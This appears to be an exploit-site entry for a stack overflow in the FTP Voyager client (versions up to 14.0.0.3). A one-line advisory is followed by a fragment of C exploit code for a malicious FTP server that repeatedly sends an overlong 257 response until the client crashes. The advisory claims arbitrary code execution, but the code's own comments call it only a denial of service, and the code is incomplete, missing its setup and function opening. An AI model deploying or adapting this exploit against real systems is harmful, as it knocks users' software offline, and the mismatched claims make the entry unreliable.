FTP Voyager is "the most powerful FTP client for Windows on the market". A vulnerability in the way FTP Voyager handles CWD responses allows attackers to overflow the product's internal buffer allowing an attacker to cause it to execute arbitrary code.
Exploit:
/******************************************
* FTP Voyager <= 14.0.0.3 CWD Remote Stack Overflow *
* *
* *
* There is a remote stack overflow in FTP Voyager triggered by a long 257 response *
* After that, if the user hits <abort>.....................................B O O M *
* *
* Only a DoS, I dont think code execution is possible *
* *
* Have Fun! *
* *
* Coded by Marsu <Marsupilamipowa@hotmail.fr> *
*******************************************/
//PWD
int i=5;
memset(recvbuff,'\0',1024);
recv(client,recvbuff,1024,0);
printf("%s", recvbuff);
while (i<30000) { //17000 should be enough... but chances are it is still alive =D
memset(evilbuff+i,'a',1);
i++;
memset(evilbuff+i,'//',1);
i++;
}
memcpy(evilbuff,"257 \"",5);
memcpy(evilbuff+30000,"\"\r\n\0",4);
printf("[+] Wait til the user hits <abort>");
while(1) { //stupid loop to force the user to click disconnect. Theorically, one shot is sufficient to make the app unstable.
if (send(client,evilbuff,strlen(evilbuff),0)==-1) break;
Sleep(3000);
}
closesocket(client);
closesocket(server);
printf("\n[+] VoyagerFTP is DoSed\n");
return 0;
}
